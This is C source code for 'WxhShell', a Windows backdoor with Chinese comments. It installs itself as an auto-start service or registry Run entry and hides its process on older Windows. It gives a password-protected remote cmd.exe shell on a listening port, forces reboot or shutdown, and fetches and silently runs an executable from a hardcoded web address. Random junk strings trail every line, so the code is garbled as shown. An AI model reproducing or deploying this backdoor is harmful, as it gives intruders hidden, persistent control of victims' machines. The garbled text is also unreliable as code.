  case 'd': { $3S6{"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j89|hG)2  
    if(Boot(SHUTDOWN)) hO(8v&ns3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0h-holUf}~  
    else { ^0"NcOzzxl  
    closesocket(wsh); zqfv|3-!}  
    ExitThread(0); DrLNY"Zq  
    } []:;8fY  
    break; $T{,3;kt  
    } *6^|i}  
  // 获取shell 3#huC=zbf  
  case 's': { >C y  
    CmdShell(wsh); 0l3v>ty  
    closesocket(wsh); ]UKKy2r.  
    ExitThread(0); jT"P$0sJAd  
    break; WXu:mv,'e  
  } eT1b88_  
  // 退出 `}.K@17  
  case 'x': { h=SQ]nV{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1MHP#X;|  
    CloseIt(wsh); \ }xK$$f2,  
    break; I"Y d6M% ;  
    } 4*MjDb  
  // 离开 _a@&$NEox  
  case 'q': { (rO_ Vfaa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @;kw6f:{d  
    closesocket(wsh); pg~vteq5  
    WSACleanup(); ?g%5 d  
    exit(1); E]w1!Ah M  
    break; 'Wjuv9)/  
        } Q:eIq<erY  
  } v1<gNb)`  
  } i$;GEM}tv  
Y(GH/jw  
  // 提示信息 yjs5=\@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J"QXu M  
} _H}y7  
  } L0uvRge  
xEQ2iCeC  
  return; txQyHQ)@  
} Z l.}=  
DLcfOOn1I  
// shell模块句柄 JPfNf3<@My  
int CmdShell(SOCKET sock) %<$CH],%  
{ +Q_(wR"FS  
STARTUPINFO si; =Xze).g  
ZeroMemory(&si,sizeof(si)); #m?GBr%k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "6_#APoP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fgg^B[(Y  
PROCESS_INFORMATION ProcessInfo; `M/=_O3  
char cmdline[]="cmd"; yLCqlK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zy`4]w$Lj+  
  return 0; fv$Y&_,5  
} c nvxTI<  
*zeY<6  
// 自身启动模式 {dvrj<?  
int StartFromService(void) p 7IJ3YY  
{ loN!&YceW  
typedef struct (1JZuR<?c  
{ z1}YoCj1  
  DWORD ExitStatus; %HSS x+2oR  
  DWORD PebBaseAddress; #S2LQ5U  
  DWORD AffinityMask; ,OWdp<z  
  DWORD BasePriority; w,TyV%b[_  
  ULONG UniqueProcessId; !+Z"7e nj  
  ULONG InheritedFromUniqueProcessId; A Ntp7ad  
}   PROCESS_BASIC_INFORMATION; sj a;NL  
J7$1+|"  
PROCNTQSIP NtQueryInformationProcess; N[X%tf\L]F  
rg+28tlDn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nR4L4tdS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GjZ@f nF  
VaC#9Tp2X  
  HANDLE             hProcess; 1Lz`.%k`:  
  PROCESS_BASIC_INFORMATION pbi; o/buU{)y  
0CS^S1/[B`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nV38Mj2U  
  if(NULL == hInst ) return 0; x&sT )=#  
MK9?81xd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fn$/ K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u_.V]Rjc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vLR)B@O,2  
vE/g{~[5  
  if (!NtQueryInformationProcess) return 0; y@]4xLB]  
sN|-V+7&j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >C"cv^%c  
  if(!hProcess) return 0; Hb 'fEo r  
9(lIz{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lz\{ X  
*cCr0\Z`  
  CloseHandle(hProcess); "L@qjSs8  
3~6F`G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s([9 /ED  
if(hProcess==NULL) return 0; r4t|T^{sl  
W~p^AHco`  
HMODULE hMod; Tj*o[2mD  
char procName[255]; T[a1S?_*T  
unsigned long cbNeeded; A> +5~u  
T[xGF/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M['25[  
d|TRP,y  
  CloseHandle(hProcess); seY0"ym&e  
2g-'.w  
if(strstr(procName,"services")) return 1; // 以服务启动 Y?%MPaN:  
RBr  
  return 0; // 注册表启动 @dX0gHU[c  
} U#G uB&V  
_tL+39 u  
// 主模块 acB,u&  
int StartWxhshell(LPSTR lpCmdLine) *{W5QEa  
{ I'"*#QOX  
  SOCKET wsl; ar+mj=m  
BOOL val=TRUE; KQi9qj  
  int port=0; C yC<{D+  
  struct sockaddr_in door; FMY r6/I  
oV ?tp4&  
  if(wscfg.ws_autoins) Install(); ~cSC-|$^&  
!Y=s_)X  
port=atoi(lpCmdLine); C fQj7{  
+f\tqucI3  
if(port<=0) port=wscfg.ws_port; Zm%}AzM  
O8SX#,3^}  
  WSADATA data; ;1S{xd*^N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]w%7/N0R  
c}Jy'F7&f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gcg`Knr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hw_7N)}  
  door.sin_family = AF_INET; ./kmI#gaV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >IfJ.g"  
  door.sin_port = htons(port); t(lTXG  
Wr`=P,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d|on y  
closesocket(wsl); :*t v`:;p  
return 1; WP32t@  
} [#j|TBMHM  
ig; ~ T  
  if(listen(wsl,2) == INVALID_SOCKET) { IK{0Y#c  
closesocket(wsl); [rTV)JsTb  
return 1; i3: sV5  
} ~J)4(411  
  Wxhshell(wsl); GY,@jp|R  
  WSACleanup(); sC ]&Qr_  
F"hi2@/TI  
return 0; [KWF7GQi  
)%;#~\A  
} `]5XY8^kI  
{eIE|   
// 以NT服务方式启动 tRbZ^5x\@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U,iTURd  
{ #` z!f0 P  
DWORD   status = 0; oLruYSaD  
  DWORD   specificError = 0xfffffff; }y|% wym  
)~d2`1zGS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^!{oyw   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9<7Q{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $0LlaN@e  
  serviceStatus.dwWin32ExitCode     = 0; a9QaFs"  
  serviceStatus.dwServiceSpecificExitCode = 0; wgLS9.  
  serviceStatus.dwCheckPoint       = 0; LU?#{dZ  
  serviceStatus.dwWaitHint       = 0; CvQ LF9|  
1Od: I}@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =Z#tZ{"  
  if (hServiceStatusHandle==0) return; A6iyJFm D  
i=o>Bl@f  
status = GetLastError(); HxZ4t  
  if (status!=NO_ERROR) \_x)E]D  
{ 2yq.<Wz<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ui9gt"qS`  
    serviceStatus.dwCheckPoint       = 0; +6gS]  
    serviceStatus.dwWaitHint       = 0; b@1QE  
    serviceStatus.dwWin32ExitCode     = status; 7azxqa5:  
    serviceStatus.dwServiceSpecificExitCode = specificError; l*'8B)vN2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MLBZmM '  
    return; uO[4 WZ  
  } W\} VZY  
]qVJ>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y H+CyL\  
  serviceStatus.dwCheckPoint       = 0; G#dpSNV3|  
  serviceStatus.dwWaitHint       = 0; "45BOw&72G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i;|% hDNWA  
} ACyQsmqm:  
r{%NMj  
// 处理NT服务事件,比如:启动、停止 iZSj T"l^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2vWkAC;   
{ JAB]kNvI  
switch(fdwControl) }=f}@JlFB  
{ <V6#)^Or  
case SERVICE_CONTROL_STOP: JH)&Ca>S  
  serviceStatus.dwWin32ExitCode = 0; J8b]*2D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E&&80[tN]  
  serviceStatus.dwCheckPoint   = 0; Wc,8<Y'   
  serviceStatus.dwWaitHint     = 0; >wMsZ+@m  
  { <5$= Ta  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *ac#wEd  
  } ppV\FQ{K  
  return; Ce_Z &?  
case SERVICE_CONTROL_PAUSE: FswFY7 8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cz T@txF  
  break; dk(-yv'  
case SERVICE_CONTROL_CONTINUE: }U^9(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zfb:>J@h6  
  break; (n`\b47  
case SERVICE_CONTROL_INTERROGATE: qtgK}*9ptv  
  break; B;K{Vo:C  
}; !)\`U/.W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xE6y9"}!h  
} S0 yPg9v  
er qm=)  
// 标准应用程序主函数 P$pl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wfZ 'T#1  
{ Ak_;GvC!  
U;jk+i  
// 获取操作系统版本 Sl$dXB@  
OsIsNt=GetOsVer(); pp{);  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U-lN_?  
"lz!'~im  
  // 从命令行安装 yTDoS|B+)  
  if(strpbrk(lpCmdLine,"iI")) Install(); U{O\  
e<C5}#wt  
  // 下载执行文件 /FYa{.Vlr  
if(wscfg.ws_downexe) { 5;|9bWH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1qQgAhoY  
  WinExec(wscfg.ws_filenam,SW_HIDE); hD$U8~zK  
} )(ma  
3BSeZ:j7  
if(!OsIsNt) { s-C.+9  
// 如果时win9x,隐藏进程并且设置为注册表启动 M?\)&2f[Z  
HideProc(); " 3^6  
StartWxhshell(lpCmdLine); ($cu!$lY~  
} g{D&|qWj  
else a"EQldm|d  
  if(StartFromService()) "QlCcH`g  
  // 以服务方式启动 u!@P,,NY  
  StartServiceCtrlDispatcher(DispatchTable); \7C >4  
else ?%LD1 <ya  
  // 普通方式启动 {UUVN/$  
  StartWxhshell(lpCmdLine); ;^*^ :L  
{:oZ&y)Ac  
return 0; *508PY  
} #!hpe^t  
}j:ae \(  
}6S4yepl  
>`NM?KP s  
=========================================== ? {&#l2  
Y3Qq'FN!I  
.(Pe1pe  
sO  
4p-$5Fk8}  
-p;o e}|  
" 4]+ ^K`  
6F(yH4  
#include <stdio.h> IIu3mXAw  
#include <string.h> FVD}9ia  
#include <windows.h> 6?a(@<k_  
#include <winsock2.h> (Dn-vY'  
#include <winsvc.h> ag+ML1#)  
#include <urlmon.h> -e)bq: T  
nRo`O  
#pragma comment (lib, "Ws2_32.lib") (la   
#pragma comment (lib, "urlmon.lib") txgGL'  
DRzpV6s  
#define MAX_USER   100 // 最大客户端连接数  JA)gM  
#define BUF_SOCK   200 // sock buffer [n}c}%  
#define KEY_BUFF   255 // 输入 buffer lZua"Ju  
c]"B)I1L  
#define REBOOT     0   // 重启 %-*vlNC)  
#define SHUTDOWN   1   // 关机 *K98z ?  
tEEhSG)s%  
#define DEF_PORT   5000 // 监听端口 Eyn3Vv?v  
<.' cCY  
#define REG_LEN     16   // 注册表键长度 \LYQZ*F  
#define SVC_LEN     80   // NT服务名长度 cwD0 ~B  
b:3hKW  
// 从dll定义API zk/!#5JtK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $e;!nI;z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *.+>ur?t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -'0AV,{Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mvL'l)  
B>]5/!_4  
// wxhshell配置信息 z84W{! P  
struct WSCFG { ft*0?2N~  
  int ws_port;         // 监听端口 N Hh  
  char ws_passstr[REG_LEN]; // 口令 M!hby31  
  int ws_autoins;       // 安装标记, 1=yes 0=no (G"qIw   
  char ws_regname[REG_LEN]; // 注册表键名 * c%@f<R~  
  char ws_svcname[REG_LEN]; // 服务名 _F*w ,b$8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2l SM`cw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FEZ6X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KGWENX_U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @uE=)mP@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B~aOs>1 S]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \I'Zc]  
`kv$B3  
}; %zD-gw>  
UxvsSHi  
// default Wxhshell configuration ~pA;j7*  
struct WSCFG wscfg={DEF_PORT, FKx9$B  
    "xuhuanlingzhe", p%ZiTrA1&D  
    1, #,PAM.rH  
    "Wxhshell", "@?|Vv,vn  
    "Wxhshell", a "DV`jn  
            "WxhShell Service", Q)@1:(V/  
    "Wrsky Windows CmdShell Service", %~;Q_#CR/K  
    "Please Input Your Password: ", ^hHeH:@  
  1, {UmCn>c  
  "http://www.wrsky.com/wxhshell.exe", 8k1 r|s@d  
  "Wxhshell.exe" z\h+6FCD  
    }; #-Rz`Y<&  
aK&+p#4t  
// 消息定义模块 0C p}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oU@ljSD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _%2Umy|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pzax~Vp  
char *msg_ws_ext="\n\rExit."; tZYI{ m{  
char *msg_ws_end="\n\rQuit."; 0V#t ;`Q3  
char *msg_ws_boot="\n\rReboot..."; )[)]@e  
char *msg_ws_poff="\n\rShutdown..."; Yz,!#ob$  
char *msg_ws_down="\n\rSave to "; G}-.xj]  
4d 3Znpf  
char *msg_ws_err="\n\rErr!"; &v-V_.0(H  
char *msg_ws_ok="\n\rOK!"; Uaj=}p\+.p  
L@4zuzmlb  
char ExeFile[MAX_PATH]; LA?\~rh!  
int nUser = 0; Z :9VxZ  
HANDLE handles[MAX_USER]; %1@<),  
int OsIsNt; >a7(A#3@d  
]18ygqt  
SERVICE_STATUS       serviceStatus; pu:D/2R2;k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i@CMPz-h&  
; BZM~ '  
// 函数声明 5y3TlR  
int Install(void); Crhi+D  
int Uninstall(void); /8MQqZ C  
int DownloadFile(char *sURL, SOCKET wsh); # VV.[ N  
int Boot(int flag); $048y X 7M  
void HideProc(void); KYu(H[a  
int GetOsVer(void); Y+ Z9IiS7  
int Wxhshell(SOCKET wsl); 0GYEt  
void TalkWithClient(void *cs); !:<UgbiVv  
int CmdShell(SOCKET sock); M&ij[%i  
int StartFromService(void); ]jb4Z  
int StartWxhshell(LPSTR lpCmdLine); 7ILa H|eN  
|{PJT#W%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8-"5|pNc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ij i.3-  
&&}5>kg>d  
// 数据结构和表定义 YU=ZZEVi  
SERVICE_TABLE_ENTRY DispatchTable[] = D'`"_  
{ E)JyKm.  
{wscfg.ws_svcname, NTServiceMain}, ^B5cNEO  
{NULL, NULL} S@g/Tn  
}; e^NEj1  
 ;Z q~w  
// 自我安装 S8OVG4-  
int Install(void) uvDoo6'  
{ 1bJ]3\  
  char svExeFile[MAX_PATH]; ~snF20  
  HKEY key; PS(j)I3  
  strcpy(svExeFile,ExeFile); "-n%874IT  
n]DNxC@b  
// 如果是win9x系统,修改注册表设为自启动 H~|%vjH  
if(!OsIsNt) { ARdGh_yJ&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FMd LkyK;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -t 6R!ZI  
  RegCloseKey(key); p,iCM?[|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q83~j `ZJ$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GD[ou.C}k  
  RegCloseKey(key); *sB-scD  
  return 0; B`B%:#  
    } %i-lx`U  
  } ~y2)&x  
} ES\Q5)t/fo  
else { ]rg+n c3  
Px#QZZ  
// 如果是NT以上系统,安装为系统服务 .W :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LBkcs4+  
if (schSCManager!=0) q Iy^N:C2'  
{ EotwUT|  
  SC_HANDLE schService = CreateService e?| URW  
  ( T]6c9_  
  schSCManager, Yv>BOK  
  wscfg.ws_svcname, 2]} Uov  
  wscfg.ws_svcdisp, +&7Kk9^  
  SERVICE_ALL_ACCESS, q[7d7i/r6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `8(h,aj;  
  SERVICE_AUTO_START, hO/5>Zv?  
  SERVICE_ERROR_NORMAL, k&A7alw  
  svExeFile, nF<y7XkO  
  NULL, `_1(Q9Q  
  NULL, PDt<lJU+X  
  NULL, )J+{oB[>b  
  NULL, PiQkJ[  
  NULL 5eOj, [?  
  ); BY*2yp}7  
  if (schService!=0) tP`G]BCbt  
  { QM ZUt  
  CloseServiceHandle(schService); '}Wu3X  
  CloseServiceHandle(schSCManager); +lW}ixt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); adI!W-/R:  
  strcat(svExeFile,wscfg.ws_svcname); $% Ci8p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^.#X<8hr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3kiE3*H  
  RegCloseKey(key); 9Yl8n dP^E  
  return 0; /S]:dDY9K  
    } 0TO_1 0D  
  } eOehgU5x  
  CloseServiceHandle(schSCManager); R6!cK[e]4  
} S,9NUt  
} qBy NHo7Tb  
ahNX/3; y  
return 1; *:\:5*SY  
} VW9>xVd4  
tL~,ZCQz  
// 自我卸载 {N!E5*$Tr  
int Uninstall(void) x}?DkFuxb  
{ 2.LJp}>  
  HKEY key; mDQEXMD  
Jcz]J)|5v  
if(!OsIsNt) { =.36y9Mfo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f]tv`<Q7  
  RegDeleteValue(key,wscfg.ws_regname); P +dA~2k  
  RegCloseKey(key); Y=vVxVI\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B;Xoa,  
  RegDeleteValue(key,wscfg.ws_regname); I tI0x  
  RegCloseKey(key); +@emX$cFV  
  return 0; ~u /aOd  
  } q=6Cc9FN  
} +yf(Rs)!  
} 7/H^<%;y  
else { fJN*s  
C.J`8@a]?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Oj4v#GK]  
if (schSCManager!=0) #l*a~^dhqC  
{ o84UFhm   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3CR@' qG-  
  if (schService!=0) j G-  
  { BBHK  
  if(DeleteService(schService)!=0) { ]} 61vV  
  CloseServiceHandle(schService); q$r&4s)To  
  CloseServiceHandle(schSCManager); sl/=g   
  return 0; z Yw;q3"  
  } U;xu/xDRi  
  CloseServiceHandle(schService); EL^8zyg%%  
  } ))7LE|1l  
  CloseServiceHandle(schSCManager); eV"!/A2:N5  
} 'X =p7 d|'  
} vQ:wW',i  
G' Blp  
return 1; ,E\h!/X  
} nX0HT )}  
{?E<](+0  
// 从指定url下载文件  _e%dM  
int DownloadFile(char *sURL, SOCKET wsh) v" }WP34  
{ (` 5FZgN  
  HRESULT hr; 1/B]TT  
char seps[]= "/"; 'E4AV58.  
char *token; Ntb:en!X  
char *file; opsQn\4DZ?  
char myURL[MAX_PATH]; qG<7hr@x]  
char myFILE[MAX_PATH]; #/Ruz'H1>  
vr=~M?  
strcpy(myURL,sURL); lT2 4JhJ#  
  token=strtok(myURL,seps); A)tP()+)  
  while(token!=NULL) w|IjQ1{  
  { ! Tx&vtq  
    file=token; TZ[Zm  
  token=strtok(NULL,seps); bS.s?a  
  } 33Jd!orXU  
[J^  
GetCurrentDirectory(MAX_PATH,myFILE); Cyq?5\a  
strcat(myFILE, "\\"); &FSmqE;@^  
strcat(myFILE, file); m9in1RI%  
  send(wsh,myFILE,strlen(myFILE),0); pkJ/oT  
send(wsh,"...",3,0); 57wFf-P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); { ;s;.  
  if(hr==S_OK) ,`k _|//}=  
return 0; K]c4"JJ  
else kb71q:[  
return 1; >M]6uf  
:\XI0E  
} ' +j<n[JLC  
_AFQ>j  
// 系统电源模块 62)d22  
int Boot(int flag) NzQ9Z1Mxy  
{ f`jc#f5+'  
  HANDLE hToken; nVE9^')8V  
  TOKEN_PRIVILEGES tkp; MtS3p>4  
S}(8f!9<  
  if(OsIsNt) { }GumpT$Xw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (hIF]>,kl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jjRUL.  
    tkp.PrivilegeCount = 1; pY@Y?Jj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _A98  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !Uh2}ic  
if(flag==REBOOT) { <a4 TO8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mpgO s  
  return 0; -(i(02PX  
} k|xtrW`qo;  
else { 5G(3vRX|1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +k.%PO0np  
  return 0; (a@?s$LG  
} rq sdE  
  } `:e U.  
  else { |?d#eQ9a  
if(flag==REBOOT) { #sTEQjJ,J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5 c5oSy+  
  return 0; VIC0}LT0R  
} Z&Y=`GOI  
else { $<nCXVqL,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %@Oma  
  return 0; & $'z  
} V8WFQdXc  
} uI~s8{0T6  
)[L^Dmd,  
return 1; ).5RPAP  
} Df4+^B,1  
5!I4l1  
// win9x进程隐藏模块 J NVr  
void HideProc(void) lhH`dG D  
{ !z 53OT!  
k|vI<:'p,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iDoDwq!l_  
  if ( hKernel != NULL ) #*9-d/K  
  { %c|UmKKi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :XG;ru%i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b>\?yL/%+?  
    FreeLibrary(hKernel); zce`\ /:  
  } U!(@q!>G  
E<E3&;qD  
return; HDVW0QaMu  
} Z(u5$<up  
~YP Jez  
// 获取操作系统版本 X(A.X:"  
int GetOsVer(void) S0d~.ah30  
{ z'7[Tie  
  OSVERSIONINFO winfo; b|xpNd-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2 PqS%`XiS  
  GetVersionEx(&winfo); ( #D*Pl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OFk8>"|  
  return 1; gU&%J4O  
  else 'G&{GVbXY  
  return 0; r%@Lej5+  
} P>i%7:OMZA  
P 1XK*GZ  
// 客户端句柄模块 m<rhIq  
int Wxhshell(SOCKET wsl) m2~&#c\  
{ Wy .IcWK  
  SOCKET wsh; &;i "P  
  struct sockaddr_in client; WWKvh  
  DWORD myID; ,Lpixnm]  
l<g5yYyf  
  while(nUser<MAX_USER) 0 B@n{PvR0  
{ {q%Sx*k9[  
  int nSize=sizeof(client); \1"'E@+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /E;y,o75  
  if(wsh==INVALID_SOCKET) return 1; d}'U?6 ob  
DdQ;Q5|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r]@0eb   
if(handles[nUser]==0) /ID3s`D)  
  closesocket(wsh); ]rehW}  
else sRSz}]  
  nUser++; o*WY=  
  } =Prb'8 W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); : _e#  
Byl^?5  
  return 0; _VE^/;$"l  
} bmgncwlz  
$+JS&k/'m  
// 关闭 socket &H}r%%|A  
void CloseIt(SOCKET wsh) Wj|alH9<  
{ gr-9l0u  
closesocket(wsh); }jH7iyjD  
nUser--; o?L'Pg  
ExitThread(0); YB<*"HxM)}  
} W>_]dPBS/  
?eH&'m}-  
// 客户端请求句柄 "@R>J ?Cc+  
void TalkWithClient(void *cs) >Y7a4~ufko  
{ 2H71~~ c  
}KUd7[s  
  SOCKET wsh=(SOCKET)cs; GSclK|#t E  
  char pwd[SVC_LEN]; q6Rr.A  
  char cmd[KEY_BUFF]; q<y#pL=k"*  
char chr[1]; o[oM8o<  
int i,j; m!<i0thJ  
m>USD? i  
  while (nUser < MAX_USER) { >~%e$a7}+  
+#U|skl  
if(wscfg.ws_passstr) { dr)YzOvba  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); **9x?s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n0Y+b[ +wj  
  //ZeroMemory(pwd,KEY_BUFF); _Zk{!  
      i=0; $mf u:tbP  
  while(i<SVC_LEN) { ,.eWQK~  
FZjHw_pP  
  // 设置超时 lC:k7<0Ji  
  fd_set FdRead; |4$M]Mf0  
  struct timeval TimeOut; ]Chj T}  
  FD_ZERO(&FdRead); `&\Q +W  
  FD_SET(wsh,&FdRead); X%z }VA  
  TimeOut.tv_sec=8; +$4(zP s@  
  TimeOut.tv_usec=0; L,y6^J!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z^ }mp@j>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); infl.  
B9p?8.[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s { #3r  
  pwd=chr[0]; Uc/+gz Z;  
  if(chr[0]==0xd || chr[0]==0xa) { #/PAA  
  pwd=0; DPi_O{W>  
  break; 5T sUQc  
  } J+rCxn?;g  
  i++; V5+SWXZ  
    } HhO".GA  
oFOnjK"|F  
  // 如果是非法用户,关闭 socket %ZHP2j %~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n>@oBG)!  
} h(WrL  
dJ$"l|$$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zdXkR]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $kR N h6  
OL4z%mDZi  
while(1) { Y5fLmPza  
{U&.D [{&  
  ZeroMemory(cmd,KEY_BUFF); vJAZ%aW  
!9 fz(9  
      // 自动支持客户端 telnet标准   Gt9&)/#  
  j=0; IV\J3N^  
  while(j<KEY_BUFF) { 2WUT/{:X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gV&z2S~"  
  cmd[j]=chr[0]; Y*mbjyt[?X  
  if(chr[0]==0xa || chr[0]==0xd) { pr%nbl  
  cmd[j]=0; \u6^Varw  
  break; /}-CvSR  
  } ^vG8#A}]  
  j++; 6e&>rq6C  
    } >0Q|nCx  
xf|mlHS+  
  // 下载文件 N !TW!  
  if(strstr(cmd,"http://")) { M Zmb`%BZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d)~Fmi;  
  if(DownloadFile(cmd,wsh)) qI^ /"k*5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n3J53| %v  
  else s-dLZ.9F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B"%{i-v>**  
  } R8.CC1Ix  
  else { K~ ;45Z2  
'\jd#Kn'h  
